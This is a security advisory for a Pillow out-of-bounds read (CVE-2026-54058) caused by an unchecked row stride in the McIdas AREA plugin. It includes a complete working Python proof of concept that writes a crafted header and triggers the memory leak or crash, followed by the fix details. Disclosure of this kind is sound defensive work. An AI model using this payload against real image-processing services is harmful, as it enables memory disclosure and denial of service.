highCVE-2026-54058Jul 20, 2026

CVE-2026-54058: Pillow Out-of-Bounds Read via Undersized McIdas AREA Row Stride

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted McIdas AREA image with a manipulated row-stride field tricks Pillow into reading far beyond a memory-mapped file, leaking adjacent process memory or crashing the worker.

Packagepillow
Ecosystempip
Affected< 12.3.0
Fixed in12.3.0

The problem

Pillow's mmap path for raw-codec tiles (used when opening an image from a filename) builds per-row pointers spaced `stride` bytes apart inside the mapped file. The McIdas AREA plugin derives `stride` directly from attacker-controlled 32-bit header words with no lower-bound validation.

Setting stride to 1 while keeping a large `xsize` passes every size check in both `ImageFile.py` and `map.c` (which only verify `offset + ysize*stride <= buffer_len`). Once any pixel-access call (`tobytes`, `getpixel`, `convert`, `save`) fires, the raw encoder reads `xsize` bytes from each row pointer, running far past the mapped region.

The result is either leaked adjacent heap or mmap memory (information disclosure) or a SIGBUS crash (denial of service).

Proof of concept

A working proof-of-concept for CVE-2026-54058 in pillow, with the exact payload below.

python
import struct
from PIL import Image

# McIdas AREA file layout: 256-byte header of 64 big-endian int32s (words 1-64).
# Word indices below are 1-based (w[1] = first int32).
#
# Exploit values:
#   w[1]  = 0            (must be 0 for _accept to pass; the real prefix check is the
#                         first 8 bytes == b'\x00\x00\x00\x00\x00\x00\x00\x04')
#   w[2]  = 4            (second word must be 4)
#   w[9]  = 1            ysize  = 1 row
#   w[10] = 200000       xsize  = 200 000 pixels  (real bytes read per row)
#   w[11] = 1            bytes/pixel => mode "L", pixelsize=1, in _MAPMODES
#   w[14] = 0            => stride term w[10]*w[11]*w[14] = 0
#   w[15] = 1            => stride = w[15] + 0 = 1  (far below linesize=200000)
#   w[34] = 0            => tile offset = w[34]+w[15] = 1
#
# stride=1 satisfies: offset+ysize*stride = 1+1*1 = 2 <= 256 (file length) -> passes guard.
# But the raw "L" encoder then reads xsize=200000 bytes from im->image[0],
# which starts at mmap+1 inside a 256-byte file -> OOB read.

words = [0] * 65           # 1-indexed; words[0] unused
words[2] = 4               # _accept: w[2] must equal 4
words[9] = 1               # ysize
words[10] = 200000         # xsize
words[11] = 1              # bytes per pixel (mode L)
words[14] = 0              # multiplier -> kills stride padding
words[15] = 1              # base stride (sets stride=1 and offset=1)
words[34] = 0              # additional offset

# Pack words[1..64] as big-endian signed int32; word[0] is padding
header = struct.pack("!64i", *words[1:65])
assert len(header) == 256

with open("/tmp/poc.area", "wb") as f:
    f.write(header)        # 256-byte header; no pixel data needed

# Trigger: open from a path so Pillow takes the mmap branch
img = Image.open("/tmp/poc.area")
data = img.tobytes()       # OOB read happens here -> leaked memory or SIGBUS

The root cause (CWE-125) is a missing lower-bound check on `stride` in `PyImaging_MapBuffer` (`src/map.c`). The function accepts any positive `stride`, so setting it to 1 satisfies the `offset + ysize*stride <= buffer_len` guard with a 256-byte header file while the actual per-row read width (`im->linesize = xsize * pixelsize`) is 200,000 bytes.

The patch in PR #9719 adds a check that rejects any stride smaller than the computed line size, so row pointers can never reach outside the mapped region. Defense-in-depth validation was also added to `McIdasImagePlugin._open` to reject a stride that is less than `xsize * pixelsize` before the tile is even registered.

The fix

Upgrade Pillow to 12.3.0 or later (`pip install --upgrade pillow`). The fix in commit 6a8de891 (PR #9719) ensures `stride >= im->linesize` in `PyImaging_MapBuffer` and adds input validation in `McIdasImagePlugin._open`. No configuration workaround exists in older versions; update is the only remediation.

Reported by Devansh Shah, RUDRA Cybersecurity Pvt. Ltd..

References: [1][2][3][4][5][6]

Related research